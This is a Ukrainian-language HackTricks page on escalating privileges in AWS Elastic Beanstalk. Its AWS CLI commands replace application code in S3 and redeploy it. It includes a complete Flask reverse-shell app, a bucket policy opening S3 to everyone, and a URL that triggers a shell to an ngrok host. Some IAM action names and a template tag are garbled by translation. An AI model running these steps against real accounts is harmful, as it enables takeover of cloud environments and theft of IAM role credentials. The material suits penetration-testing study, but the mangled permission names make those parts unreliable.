AWS - Elastic Beanstalk Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Elastic Beanstalk

Додаткова інформація про Elastic Beanstalk в:

pageAWS - Elastic Beanstalk Enum

Для виконання чутливих дій в Beanstalk вам потрібно мати багато чутливих дозволів в багатьох різних сервісах. Наприклад, ви можете перевірити дозволи, надані для arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, дозволи на запис в S3 та багато іншого

З дозволами на запис в бакет S3, що містить код середовища та дозволами на перебудову додатка (потрібно elasticbeanstalk:RebuildEnvironment та кілька інших, пов'язаних з S3, EC2 та Cloudformation), ви можете змінювати код, перебудовувати додаток, і наступного разу, коли ви звернетесь до додатка, він виконає ваш новий код, що дозволить зловмиснику скомпрометувати додаток та облікові дані ролі IAM.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, та інші...

Згадані плюс кілька дозволів S3, EC2, cloudformation ,autoscaling та elasticloadbalancing необхідні для створення сценарію Elastic Beanstalk з нуля.

  • Створити додаток AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Якщо середовище вже створено і ви не хочете створювати нове, ви можете просто оновити існуюче.

  • Упакуйте ваш код додатка та залежності в ZIP-файл:

zip -r MyApp.zip .
  • Завантажте ZIP-файл до відра S3:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Створіть версію додатку AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Розгорнути версію додатка у вашому середовищі AWS Elastic Beanstalk:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:СтворенняApplicationVersion, elasticbeanstalk:ОновленняСередовища, cloudformation:GetTemplate, cloudformation:ОписStackResources, cloudformation:ОписStackResource, autoscaling:ОписAutoScalingGroups, autoscaling:ПризупиненняПроцесів, autoscaling:ПризупиненняПроцесів

По-перше, вам потрібно створити легітне середовище Beanstalk з кодом, який ви хочете запустити на жертві, слідуючи попереднім крокам. Потенційно простий zip файл, що містить ці 2 файли:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Як тільки у вас запущено власне середовище Beanstalk з оболонкою rev, настав час перенести його до середовища жертви. Для цього вам потрібно оновити політику Bucket вашого бакету S3 Beanstalk, щоб жертва могла отримати до нього доступ (Зверніть увагу, що це відкриє бакет для КОЖНОГО):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}

{% код переповнення = "заворот" %}

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated